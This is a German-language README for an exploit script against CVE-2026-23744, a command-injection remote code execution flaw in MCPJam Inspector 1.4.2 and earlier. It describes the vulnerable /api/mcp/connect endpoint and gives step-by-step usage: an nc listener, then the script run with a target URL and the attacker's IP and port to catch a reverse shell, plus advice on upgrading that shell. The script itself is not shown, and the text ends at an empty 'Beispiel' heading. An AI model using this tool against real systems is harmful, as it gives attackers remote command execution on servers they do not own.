CVE-2026-23744-RCE-für-MCPjam-inspector-v1.4.2

Eine kritische RCE-Schwachstelle in MCPJam Inspector <= 1.4.2 ist möglich, wenn der Endpunkt /api/mcp/connect standardmäßig auf allen Netzwerkschnittstellen (0.0.0.0) lauscht und es versäumt, die vom Benutzer bereitgestellten Eingaben, die an die Parameter command und args im serverConfig-JSON-Objekt übergeben werden, ordnungsgemäß zu bereinigen.

Ein Angreifer kann diese Schwachstelle ausnutzen, indem er eine manipulierte POST-Anfrage an /api/mcp/connect sendet und so eine beliebige Befehlsausführung auf dem Zielsystem mit den Berechtigungen des MCPJam-Dienstes erreicht.

VERWENDUNG

1. Abhängigkeiten installieren

 pip install request

2. Einen Listener mit nc starten

sudo nc -lvnp <port>

3. Den Exploit starten

python3 CVE-2026-23744.py -u <url> -i <attacker-ip> -p <attacker-port>

4. Für eine bessere Nutzung empfehle ich, das Terminal auf ein voll funktionsfähiges zu aktualisieren, da sonst Befehle wie ctrl^c nicht verwendet werden können.

Beispiel